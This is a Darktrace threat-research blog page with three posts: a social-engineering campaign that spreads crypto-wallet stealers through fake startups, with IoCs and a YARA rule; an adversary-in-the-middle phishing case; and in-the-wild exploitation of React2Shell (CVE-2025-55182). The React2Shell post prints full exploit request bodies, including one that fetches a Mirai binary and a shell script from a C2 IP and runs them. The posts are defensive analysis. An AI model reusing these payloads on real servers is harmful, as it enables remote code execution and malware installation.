Blog
/
Cloud
/
July 10, 2025

Crypto Wallets Continue to be Drained in Elaborate Social Media Scam

Darktrace’s latest research reveals that an evolving social engineering campaign continues to target cryptocurrency users through fake startup companies. These malicious operations impersonate AI, gaming, and Web3 firms using spoofed social media accounts and project documentation hosted on legitimate platforms like Notion and GitHub.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher
password on computer screenDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
10
Jul 2025

Overview

Continued research by Darktrace has revealed that cryptocurrency users are being targeted by threat actors in an elaborate social engineering scheme that continues to evolve. In December 2024, Cado Security Labs detailed a campaign targeting Web 3 employees in the Meeten campaign. The campaign included threat actors setting up meeting software companies to trick users into joining meetings and installing the information stealer Realst disguised as video meeting software.

The latest research from Darktrace shows that this campaign is still ongoing and continues to trick targets to download software to drain crypto wallets. The campaign features:

  • Threat actors creating fake startup companies with AI, gaming, video meeting software, web3 and social media themes.
  • Use of compromised X (formerly Twitter) accounts for the companies and employees - typically with verification to contact victims and create a facade of a legitimate company.
  • Notion, Medium, Github used to provide whitepapers, project roadmaps and employee details.
  • Windows and macOS versions.
  • Stolen software signing certificates in Windows versions for credibility and defense evasion.
  • Anti-analysis techniques including obfuscation, and anti-sandboxing.

To trick as many victims as possible, threat actors try to make the companies look as legitimate as possible. To achieve this, they make use of sites that are used frequently with software companies such as Twitter, Medium, Github and Notion. Each company has a professional looking website that includes employees, product blogs, whitepapers and roadmaps. X is heavily used to contact victims, and to increase the appearance of legitimacy. Some of the observed X accounts appear to be compromised accounts that typically are verified and have a higher number of followers and following, adding to the appearance of a real company.

Example of a compromised X account to create a “BuzzuAI” employee.
Figure 1: Example of a compromised X account to create a “BuzzuAI” employee.

The threat actors are active on these accounts while the campaign is active, posting about developments in the software, and product marketing. One of the fake companies part of this campaign, “Eternal Decay”, a blockchain-powered game, has created fake pictures pretending to be presenting at conferences to post on social media, while the actual game doesn’t exist.

From the Eternal Decay X account, threat actors have altered a photo from an Italian exhibition (original on the right) to make it look like Eternal Decay was presented.
Figure 2: From the Eternal Decay X account, threat actors have altered a photo from an Italian exhibition (original on the right) to make it look like Eternal Decay was presented.

In addition to X, Medium is used to post blogs about the software. Notion has been used in various campaigns with product roadmap details, as well as employee lists.

Notion project team page for Swox.
Figure 3: Notion project team page for Swox.

Github has been used to detail technical aspects of the software, along with Git repositories containing stolen open-source projects with the name changed in order to make the code look unique. In the Eternal Decay example, Gitbook is used to detail company and software information. The threat actors even include company registration information from Companies House, however they have linked to a company with a similar name and are not a real registered company.

 From the Eternal Decay Gitbook linking to a company with a similar name on Companies House.
Figure 4: From the Eternal Decay Gitbook linking to a company with a similar name on Companies House.
Gitbook for “Eternal Decay” listing investors.
Figure 5: Gitbook for “Eternal Decay” listing investors.
Gameplay images are stolen from a different game “Zombie Within” and posted pretending to be Eternal Decay gameplay.
Figure 6: Gameplay images are stolen from a different game “Zombie Within” and posted pretending to be Eternal Decay gameplay.

In some of the fake companies, fake merchandise stores have even been set up. With all these elements combined, the threat actors manage to create the appearance of a legitimate start-up company, increasing their chances of infection.

Each campaign typically starts with a victim being contacted through X messages, Telegram or Discord. A fake employee of the company will contact a victim asking to test out their software in exchange for a cryptocurrency payment. The victim will be directed to the company website download page, where they need to enter a registration code, provided by the employee to download a binary. Depending on their operating system, the victim will be instructed to download a macOS DMG (if available) or a Windows Electron application.

Example of threat actor messaging a victim on X with a registration code.
Figure 7: Example of threat actor messaging a victim on X with a registration code.

Windows Version

Similar to the aforementioned Meeten campaign, the Windows version being distributed by the fake software companies is an Electron application. Electron is an open-source framework used to run Javascript apps as a desktop application. Once the user follows directions sent to them via message, opening the application will bring up a Cloudflare verification screen.

Cloudflare verification screen.
Figure 8: Cloudflare verification screen.

The malware begins by profiling the system, gathering information like the username, CPU and core count, RAM, operating system, MAC address, graphics card, and UUID.

Code from the Electron app showing console output of system profiling.
Figure 9: Code from the Electron app showing console output of system profiling.

A verification process occurs with a captcha token extracted from the app-launcher URL and sent along with the system info and UUID. If the verification is successful, an executable or MSI file is downloaded and executed quietly. Python is also retrieved and stored in /AppData/Temp, with Python commands being sent from the command-and-control (C2) infrastructure.

Code from the Electron app looping through Python objects.
Figure 10: Code from the Electron app looping through Python objects.

As there was no valid token, this process did not succeed. However, based on previous campaigns and reports from victims on social media, an information stealer targeting crypto wallets is executed at this stage. A common tactic in the observed campaigns is the use of stolen code signing certificates to evade detection and increase the appearance of legitimate software. The certificates of two legitimate companies Jiangyin Fengyuan Electronics Co., Ltd. and Paperbucketmdb ApS (revoked as of June 2025) were used during this campaign.

MacOS Version

For companies that have a macOS version of the malware, the user is directed to download a DMG. The DMG contains a bash script and a multiarch macOS binary. The bash script is obfuscated with junk, base64 and is XOR’d.

Obfuscated Bash script.
Figure 11: Obfuscated Bash script.

After decoding, the contents of the script are revealed showing that AppleScript is being used. The script looks for disk drives, specifically for the mounted DMG “SwoxApp” and moves the hidden .SwoxApp binary to /tmp/ and makes it executable. This type of AppleScript is commonly used in macOS malware, such as Atomic Stealer.

AppleScript used to mount the malware and make it executable.
Figure 12: AppleScript used to mount the malware and make it executable.

The SwoxApp binary is the prominent macOS information stealer Atomic Stealer. Once executed the malware performs anti-analysis checks for QEMU, VMWare and Docker-OSX, the script exits if these return true.  The main functionality of Atomic Stealer is to steal data from stores including browser data, crypto wallets, cookies and documents. This data is compressed into /tmp/out.zip and sent via POST request to 45[.]94[.]47[.]167/contact. An additional bash script is retrieved from 77[.]73[.]129[.]18:80/install.sh.

Additional Bash script ”install.sh”.
Figure 13: Additional Bash script ”install.sh”.

Install.sh, as shown in Figure 13, retrieves another script install_dynamic.sh from the server https://mrajhhosdoahjsd[.]com. Install_dynamic.sh downloads and extracts InstallerHelper.app, then sets up persistence via Launch Agent to run at login.

Persistence added via Plist configuration.
Figure 14: Persistence added via Plist configuration.

This plist configuration installs a macOS LaunchAgent that silently runs the app at user login. RunAtLoad and KeepAlive keys are used to ensure the app starts automatically and remains persistent.

The retrieved binary InstallerHelper is an Objective-C/Swift binary that logs active application usage, window information, and user interaction timestamps. This data is written to local log files and periodically transmits the contents to https://mrajhhoshoahjsd[.]com/collect-metrics using scheduled network requests.

List of known companies

Darktrace has identified a number of the fake companies used in this scam. These can be found in the list below:

Pollens AI
X: @pollensapp, @Pollens_app
Website: pollens.app, pollens.io, pollens.tech
Windows: 02a5b35be82c59c55322d2800b0b8ccc
Notes: Posing as an AI software company with a focus on “collaborative creation”.

Buzzu
X: @BuzzuApp, @AI_Buzzu, @AppBuzzu, @BuzzuApp
Website: Buzzu.app, Buzzu.us, buzzu.me, Buzzu.space
Windows: 7d70a7e5661f9593568c64938e06a11a
Mac: be0e3e1e9a3fda76a77e8c5743dd2ced
Notes: Same as Pollens including logo but with a different name.

Cloudsign
X: @cloudsignapp
Windows: 3a3b13de4406d1ac13861018d74bf4b2
Notes: Claims to be a document signing platform.

Swox
X: @SwoxApp, @Swox_AI, @swox_app, @App_Swox, @AppSwox, @SwoxProject, @ProjectSwox
Website: swox.io, swox.app, swox.cc, swoxAI.com, swox.us
Windows: d50393ba7d63e92d23ec7d15716c7be6
Mac: 81996a20cfa56077a3bb69487cc58405ced79629d0c09c94fb21ba7e5f1a24c9
Notes: Claims to be a “Next gen social network in the WEB3”. Same GitHub code as Pollens.

KlastAI
X: Links to Pollens X account
Website: Links to pollens.tech
Notes: Same as Pollens, still shows their branding on its GitHub readme page.

Wasper
X: @wasperAI, @WasperSpace
Website: wasper.pro, wasper.app, wasper.org, wasper.space
Notes: Same logo and GitHub code as Pollens.

Lunelior
Website: lunelior.net, Lunelior.app, lunelior.io, lunelior.us
Windows: 74654e6e5f57a028ee70f015ef3a44a4
Mac: d723162f9197f7a548ca94802df74101

BeeSync
X: @BeeSyncAI, @AIBeeSync
Website: beesync.ai, beesync.cc
Notes: Previous alias of Buzzu, Git repo renamed January 2025.

Slax
X: @SlaxApp, @Slax_app, @slaxproject
Website: slax.tech, slax.cc, slax.social, slaxai.app

Solune
X: @soluneapp
Website: solune.io, solune.me
Windows: 22b2ea96be9d65006148ecbb6979eccc

Eternal Decay
X: @metaversedecay
Website: eternal-decay.xyz
Windows: 558889183097d9a991cb2c71b7da3c51
Mac: a4786af0c4ffc84ff193ff2ecbb564b8

Dexis
X: @DexisApp
Website: dexis.app
Notes: Same branding as Swox.

NexVoo
X: @Nexvoospace
Website: nexvoo.app, Nexvoo.net, Nexvoo.us

NexLoop
X: @nexloopspace
Website: nexloop.me

NexoraCore
Notes: Rename of the Nexloop Git repo.

YondaAI
X: @yondaspace
Website: yonda.us

Traffer Groups

A “traffer” malware group is an organized cybercriminal operation that specializes in directing internet users to malicious content typically information-stealing malware through compromised or deceptive websites, ads, and links. They tend to operate in teams with hierarchical structures with administrators recruiting “traffers” (or affiliates) to generate traffic and malware installs via search engine optimization (SEO), YouTube ads, fake software downloads, or owned sites, then monetize the stolen credentials and data via dedicated marketplaces.

A prominent traffer group “CrazyEvil” was identified by Recorded Future in early 2025. The group, who have been active since at least 2021, specialize in social engineering attacks targeted towards cryptocurrency users, influencers, DeFi professionals, and gaming communities. As reported by Recorded Future, CrazyEvil are estimated to have made millions of dollars in revenue from their malicious activity. CrazyEvil and their sub teams create fake software companies, similar to the ones described in this blog, making use of Twitter and Medium to target victims. As seen in this campaign, CrazyEvil instructs users to download their software which is an info stealer targeting both macOS and Windows users.

While it is unclear if the campaigns described in this blog can be attributed to CrazyEvil or any sub teams, the techniques described are similar in nature. This campaign highlights the efforts that threat actors will go to make these fake companies look legitimate in order to steal cryptocurrency from victims, in addition to use of newer evasive versions of malware.

Indicators of Compromise (IoCs)

Manboon[.]com

https://gaetanorealty[.]com

Troveur[.]com

Bigpinellas[.]com

Dsandbox[.]com

Conceptwo[.]com

Aceartist[.]com

turismoelcasco[.]com

Ekodirect[.]com

https://mrajhhosdoahjsd[.]com

https://isnimitz.com/zxc/app[.]zip

http://45[.]94[.]47[.]112/contact

45[.]94[.]47[.]167/contact

77[.]73[.]129[.]18:80

Domain Keys associated with the C2s

YARA Rules

rule Suspicious_Electron_App_Installer

{

  meta:

      description = "Detects Electron apps collecting HWID, MAC, GPU info and executing remote EXEs/MSIs"

      date = "2025-06-18"

  strings:

      $electron_require = /require\(['"]electron['"]\)/

      $axios_require = /require\(['"]axios['"]\)/

      $exec_use = /exec\(.*?\)/

      $url_token = /app-launcher:\/\/.*token=/

      $getHWID = /(Get-CimInstance Win32_ComputerSystemProduct).UUID/

      $getMAC = /details\.mac && details\.mac !== '00:00:00:00:00:00'/

      $getGPU = /wmic path win32_VideoController get name/

      $getInstallDate = /InstallDate/

      $os_info = /os\.cpus\(\)\[0\]\.model/

      $downloadExe = /\.exe['"]/

      $runExe = /msiexec \/i.*\/quiet \/norestart/

      $zipExtraction = /AdmZip\(.*\.extractAllTo/

  condition:

      (all of ($electron_require, $axios_require, $exec_use) and

       3 of ($getHWID, $getMAC, $getGPU, $getInstallDate, $os_info) and

       2 of ($downloadExe, $runExe, $zipExtraction, $url_token))

}

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Tara Gould
Threat Researcher

More in this series

No items found.

Blog

/

Email

/

December 15, 2025

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with Darktrace

Beyond MFA: Detecting Adversary-in-the-Middle Attacks and Phishing with DarktraceDefault blog imageDefault blog image

What is an Adversary-in-the-middle (AiTM) attack?

Adversary-in-the-Middle (AiTM) attacks are a sophisticated technique often paired with phishing campaigns to steal user credentials. Unlike traditional phishing, which multi-factor authentication (MFA) increasingly mitigates, AiTM attacks leverage reverse proxy servers to intercept authentication tokens and session cookies. This allows attackers to bypass MFA entirely and hijack active sessions, stealthily maintaining access without repeated logins.

This blog examines a real-world incident detected during a Darktrace customer trial, highlighting how Darktrace / EMAILTM and Darktrace / IDENTITYTM identified the emerging compromise in a customer’s email and software-as-a-service (SaaS) environment, tracked its progression, and could have intervened at critical moments to contain the threat had Darktrace’s Autonomous Response capability been enabled.

What does an AiTM attack look like?

Inbound phishing email

Attacks typically begin with a phishing email, often originating from the compromised account of a known contact like a vendor or business partner. These emails will often contain malicious links or attachments leading to fake login pages designed to spoof legitimate login platforms, like Microsoft 365, designed to harvest user credentials.

Proxy-based credential theft and session hijacking

When a user clicks on a malicious link, they are redirected through an attacker-controlled proxy that impersonates legitimate services.  This proxy forwards login requests to Microsoft, making the login page appear legitimate. After the user successfully completes MFA, the attacker captures credentials and session tokens, enabling full account takeover without the need for reauthentication.

Follow-on attacks

Once inside, attackers will typically establish persistence through the creation of email rules or registering OAuth applications. From there, they often act on their objectives, exfiltrating sensitive data and launching additional business email compromise (BEC) campaigns. These campaigns can include fraudulent payment requests to external contacts or internal phishing designed to compromise more accounts and enable lateral movement across the organization.

Darktrace’s detection of an AiTM attack

At the end of September 2025, Darktrace detected one such example of an AiTM attack on the network of a customer trialling Darktrace / EMAIL and Darktrace / IDENTITY.

In this instance, the first indicator of compromise observed by Darktrace was the creation of a malicious email rule on one of the customer’s Office 365 accounts, suggesting the account had likely already been compromised before Darktrace was deployed for the trial.

Darktrace / IDENTITY observed the account creating a new email rule with a randomly generated name, likely to hide its presence from the legitimate account owner. The rule marked all inbound emails as read and deleted them, while ignoring any existing mail rules on the account. This rule was likely intended to conceal any replies to malicious emails the attacker had sent from the legitimate account owner and to facilitate further phishing attempts.

Darktrace’s detection of the anomalous email rule creation.
Figure 1: Darktrace’s detection of the anomalous email rule creation.

Internal and external phishing

Following the creation of the email rule, Darktrace / EMAIL observed a surge of suspicious activity on the user’s account. The account sent emails with subject lines referencing payment information to over 9,000 different external recipients within just one hour. Darktrace also identified that these emails contained a link to an unusual Google Drive endpoint, embedded in the text “download order and invoice”.

Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Figure 2: Darkrace’s detection of an unusual surge in outbound emails containing suspicious content, shortly following the creation of a new email rule.
Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.
Figure 3: Darktrace / EMAIL’s detection of the compromised account sending over 9,000 external phishing emails, containing an unusual Google Drive link.

As Darktrace / EMAIL flagged the message with the ‘Compromise Indicators’ tag (Figure 2), it would have been held automatically if the customer had enabled default Data Loss Prevention (DLP) Action Flows in their email environment, preventing any external phishing attempts.

Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.
Figure 4: Darktrace / EMAIL’s preview of the email sent by the offending account.

Darktrace analysis revealed that, after clicking the malicious link in the email, recipients would be redirected to a convincing landing page that closely mimicked the customer’s legitimate branding, including authentic imagery and logos, where prompted to download with a PDF named “invoice”.

Figure 5: Download and login prompts presented to recipients after following the malicious email link, shown here in safe view.

After clicking the “Download” button, users would be prompted to enter their company credentials on a page that was likely a credential-harvesting tool, designed to steal corporate login details and enable further compromise of SaaS and email accounts.

Darktrace’s Response

In this case, Darktrace’s Autonomous Response was not fully enabled across the customer’s email or SaaS environments, allowing the compromise to progress,  as observed by Darktrace here.

Despite this, Darktrace / EMAIL’s successful detection of the malicious Google Drive link in the internal phishing emails prompted it to suggest ‘Lock Link’, as a recommended action for the customer’s security team to manually apply. This action would have automatically placed the malicious link behind a warning or screening page blocking users from visiting it.

Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.
Figure 6: Autonomous Response suggesting locking the malicious Google Drive link sent in internal phishing emails.

Furthermore, if active in the customer’s SaaS environment, Darktrace would likely have been able to mitigate the threat even earlier, at the point of the first unusual activity: the creation of a new email rule. Mitigative actions would have included forcing the user to log out, terminating any active sessions, and disabling the account.

Conclusion

AiTM attacks represent a significant evolution in credential theft techniques, enabling attackers to bypass MFA and hijack active sessions through reverse proxy infrastructure. In the real-world case we explored, Darktrace’s AI-driven detection identified multiple stages of the attack, from anomalous email rule creation to suspicious internal email activity, demonstrating how Autonomous Response could have contained the threat before escalation.

MFA is a critical security measure, but it is no longer a silver bullet. Attackers are increasingly targeting session tokens rather than passwords, exploiting trusted SaaS environments and internal communications to remain undetected. Behavioral AI provides a vital layer of defense by spotting subtle anomalies that traditional tools often miss

Security teams must move beyond static defenses and embrace adaptive, AI-driven solutions that can detect and respond in real time. Regularly review SaaS configurations, enforce conditional access policies, and deploy technologies that understand “normal” behavior to stop attackers before they succeed.

Credit to David Ison (Cyber Analyst), Bertille Pierron (Solutions Engineer), Ryan Traill (Analyst Content Lead)

Appendices

Models

SaaS / Anomalous New Email Rule

Tactic – Technique – Sub-Technique  

Phishing - T1566

Adversary-in-the-Middle - T1557

Continue reading
About the author
David Ison
Cyber Analyst

Blog

/

Network

/

December 15, 2025

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within Hours

React2Shell: How Opportunist Attackers Exploited CVE-2025-55182 Within HoursDefault blog imageDefault blog image

What is React2Shell?

CVE-2025-55182, also known as React2Shell is a vulnerability within React server components that allows for an unauthenticated attacker to gain remote code execution with a single request. The severity of this vulnerability and ease of exploitability has led to threat actors opportunistically exploiting it within a matter of days of its public disclosure.

Darktrace security researchers rapidly deployed a new honeypot using the Cloudypots system, allowing for the monitoring of exploitation of the vulnerability in the wild.

Cloudypots is a system that enables virtual instances of vulnerable applications to be deployed in the cloud and monitored for attack. This approach allows for Darktrace to deploy high-interaction, realistic honeypots, that appear as genuine deployments of vulnerable software to attackers.

This blog will explore one such campaign, nicknamed “Nuts & Bolts” based on the naming used in payloads.

Analysis of the React2Shell exploit

The React2Shell exploit relies on an insecure deserialization vulnerability within React Server Components’ “Flight” protocol. This protocol uses a custom serialization scheme that security researchers discovered could be abused to run arbitrary JavaScript by crafting the serialized data in a specific way. This is possible because the framework did not perform proper type checking, allowing an attacker to reference types that can be abused to craft a chain that resolves to an anonymous function, and then invoke it with the desired JavaScript as a promise chain.

This code execution can then be used to load the ‘child_process’ node module and execute any command on the target server.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day [1]. Within 30 hours of the patch, a publicly available proof of concept emerged that could be used to exploit any vulnerable server. This rapid timeline left many servers remaining unpatched by the time attackers began actively exploiting the vulnerability.

Initial access

The threat actor behind the “Nuts & Bolts” campaign uses a spreader server with IP 95.214.52[.]170 to infect victims. The IP appears to be located in Poland and is associated with a hosting provided known as MEVSPACE. The spreader is highly aggressive, launching exploitation attempts, roughly every hour.

When scanning, the spreader primarily targets port 3000, which is the default port for a NEXT.js server in a default or development configuration. It is possible the attacker is avoiding port 80 and 443, as these are more likely to have reverse proxies or WAFs in front of the server, which could disrupt exploitation attempts.

When the spreader finds a new host with port 3000 open, it begins by testing if it is vulnerable to React2Shell by sending a crafted request to run the ‘whoami’ command and store the output in an error digest that is returned to the attacker.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(whoami)',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

The above snippet is the core part of the crafted request that performs the execution. This allows the attacker to confirm that the server is vulnerable and fetch the user account under which the NEXT.js process is running, which is useful information for determining if a target is worth attacking.

From here, the attacker then sends an additional request to run the actual payload on the victim server.

{"then": "$1:proto:then","status": "resolved_model","reason": -1,"value": "{"then":"$B1337"}","_response": {"_prefix": "var res=process.mainModule.require('child_process').execSync('(cd /dev;(busybox wget -O x86 hxxp://89[.]144.31.18/nuts/x86%7C%7Ccurl -s -o x86 hxxp://89[.]144.31.18/nuts/x86 );chmod 777 x86;./x86 reactOnMynuts;(busybox wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||wget -q hxxp://89[.]144.31.18/nuts/bolts -O-||curl -s hxxp://89[.]144.31.18/nuts/bolts)%7Csh)&',{'timeout':120000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:${res}});","_chunks": "$Q2","_formData": {"get": "$1:constructor:constructor"}}}

This snippet attempts to deploy several payloads by using wget (or curl if wget fails) into the /dev directory and execute them. The x86 binary is a Mirai variant that does not appear to have any major alterations to regular Mirai. The ‘nuts/bolts’ endpoint returns a bash script, which is then executed. The script includes several log statements throughout its execution to provide visibility into which parts ran successfully. Similar to the ‘whoami’ request, the output is placed in an error digest for the attacker to review.

In this case, the command-and-control (C2) IP, 89[.]144.31.18, is hosted on a different server operated by a German hosting provider named myPrepaidServer, which offers virtual private server (VPS) services and accepts cryptocurrency payments [2].  

Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.
Figure 1: Logs observed in the NEXT.JS console as a result of exploitation. In this case, the honeypot was attacked just two minutes after being deployed.

Nuts & Bolts script

This script’s primary purpose is to prepare the box for a cryptocurrency miner.

The script starts by attempting to terminate any competing cryptocurrency miner processes using ‘pkill’ that match on a specific name. It will check for and terminate:

  • xmrig
  • softirq (this also matches a system process, which it will fail to kill each invocation)
  • watcher
  • /tmp/a.sh
  • health.sh

Following this, the script will checks for a process named “fghgf”. If it is not running, it will retrieve hxxp://89[.]144.31.18/nuts/lc and write it to /dev/ijnegrrinje.json, as well as retrieving hxxp://89[.]144.31.18/nuts/x and writing it to /dev/fghgf. The script will the executes /dev/fghgf -c /dev/ijnegrrinje.json -B in the background, which is an XMRig miner.

The XMRig deployment script.
Figure 2: The XMRig deployment script.

The miner is configured to connect to two private pools at 37[.]114.37.94 and 37[.]114.37.82, using  “poop” as both the username and password. The use of a private pool conceals the associated wallet address. From here, a short bash script is dropped to /dev/stink.sh. This script continuously crawls all running processes on the system and reads their /proc/pid/exe path, which contains a copy of the original executable that was run. The ‘strings’ utility is run to output all valid ASCII strings found within the data and checks to see if contains either “xmrig”, “rondo” or “UPX 5”. If so, it sends a SIGKILL to the process to terminate it.

Additionally, it will run ‘ls –l’ on the exe path in case it is symlinked to a specific path or has been deleted. If the output contains any of the following strings, the script sends a SIGKILL to terminate the program:

  • (deleted) - Indicates that the original executable was deleted from the disk, a common tactic used by malware to evade detection.
  • xmrig
  • hash
  • watcher
  • /dev/a
  • softirq
  • rondo
  • UPX 5.02
 The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.
Figure 3: The killer loop and the dropper. In this case ${R}/${K} resolves to /dev/stink.sh.

Darktrace observations in customer environments  

Following the public disclosure of CVE‑2025‑55182 on December, Darktrace observed multiple exploitation attempts across customer environments beginning around December 4. Darktrace triage identified a series of consistent indicators of compromise (IoCs). By consolidating indicators across multiple deployments and repeat infrastructure clusters, Darktrace identified a consistent kill chain involving shell‑script downloads and HTTP beaconing.

In one example, on December 5, Darktrace observed external connections to malicious IoC endpoints (172.245.5[.]61:38085, 5.255.121[.]141, 193.34.213[.]15), followed by additional connections to other potentially malicious endpoint. These appeared related to the IoCs detailed above, as one suspicious IP address shared the same ASN. After this suspicious external connectivity, Darktrace observed cryptomining-related activity. A few hours later, the device initiated potential lateral movement activity, attempting SMB and RDP sessions with other internal devices on the network. These chain of events appear to identify this activity to be related to the malicious campaign of the exploitation of React2Shell vulnerability.

Generally, outbound HTTP traffic was observed to ports in the range of 3000–3011, most notably port 3001. Requests frequently originated from scripted tools, with user agents such as curl/7.76.1, curl/8.5.0, Wget/1.21.4, and other generic HTTP signatures. The URIs associated with these requests included paths like /nuts/x86 and /n2/x86, as well as long, randomized shell script names such as /gfdsgsdfhfsd_ghsfdgsfdgsdfg.sh. In some cases, parameterized loaders were observed, using query strings like: /?h=<ip>&p=<port>&t=<proto>&a=l64&stage=true.  

Infrastructure analysis revealed repeated callbacks to IP-only hosts linked to ASN AS200593 (Prospero OOO), a well-known “bulletproof” hosting provider often utilized by cyber criminals [3], including addresses such as 193.24.123[.]68:3001 and 91.215.85[.]42:3000, alongside other nodes hosting payloads and staging content.

Darktrace model coverage

Darktrace model coverage consistently highlighted behaviors indicative of exploitation. Among the most frequent detections were anomalous server activity on new, non-standard ports and HTTP requests posted to IP addresses without hostnames, often using uncommon application protocols. Models also flagged the appearance of new user agents such as curl and wget originating from internet-facing systems, representing an unusual deviation from baseline behavior.  

Additionally, observed activity included the download of scripts and executable files from rare external sources, with Darktrace’s Autonomous Response capability intervening to block suspicious transfers, when enabled. Beaconing patterns were another strong signal, with detections for HTTP beaconing to new or rare IP addresses, sustained SSL or HTTP increases, and long-running compromise indicators such as “Beacon for 4 Days” and “Slow Beaconing.”

Conclusion

While this opportunistic campaign to exploit the React2Shell exploit is not particularly sophisticated, it demonstrates that attackers can rapidly prototyping new methods to take advantage of novel vulnerabilities before widespread patching occurs. With a time to infection of only two minutes from the initial deployment of the honeypot, this serves as a clear reminder that patching vulnerabilities as soon as they are released is paramount.

Credit to Nathaniel Bill (Malware Research Engineer), George Kim (Analyst Consulting Lead – AMS), Calum Hall (Technical Content Researcher), Tara Gould (Malware Research Lead, and Signe Zaharka (Principal Cyber Analyst).

Edited by Ryan Traill (Analyst Content Lead)

Appendices

IoCs

Spreader IP - 95[.]214.52.170

C2 IP - 89[.]144.31.18

Mirai hash - 858874057e3df990ccd7958a38936545938630410bde0c0c4b116f92733b1ddb

Xmrig hash - aa6e0f4939135feed4c771e4e4e9c22b6cedceb437628c70a85aeb6f1fe728fa

Config hash - 318320a09de5778af0bf3e4853d270fd2d390e176822dec51e0545e038232666

Monero pool 1 - 37[.]114.37.94

Monero pool 2 - 37[.]114.37.82

References  

[1] https://nvd.nist.gov/vuln/detail/CVE-2025-55182

[2] https://myprepaid-server.com/

[3] https://krebsonsecurity.com/2025/02/notorious-malware-spam-host-prospero-moves-to-kaspersky-lab

Darktrace Model Coverage

Anomalous Connection::Application Protocol on Uncommon Port

Anomalous Connection::New User Agent to IP Without Hostname

Anomalous Connection::Posting HTTP to IP Without Hostname

Anomalous File::Script and EXE from Rare External

Anomalous File::Script from Rare External Location

Anomalous Server Activity::New User Agent from Internet Facing System

Anomalous Server Activity::Rare External from Server

Antigena::Network::External Threat::Antigena Suspicious File Block

Antigena::Network::External Threat::Antigena Watched Domain Block

Compromise::Beacon for 4 Days

Compromise::Beacon to Young Endpoint

Compromise::Beaconing Activity To External Rare

Compromise::High Volume of Connections with Beacon Score

Compromise::HTTP Beaconing to New IP

Compromise::HTTP Beaconing to Rare Destination

Compromise::Large Number of Suspicious Failed Connections

Compromise::Slow Beaconing Activity To External Rare

Compromise::Sustained SSL or HTTP Increase

Device::New User Agent

Device::Threat Indicator

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer
Your data. Our AI.
Elevate your network security with Darktrace AI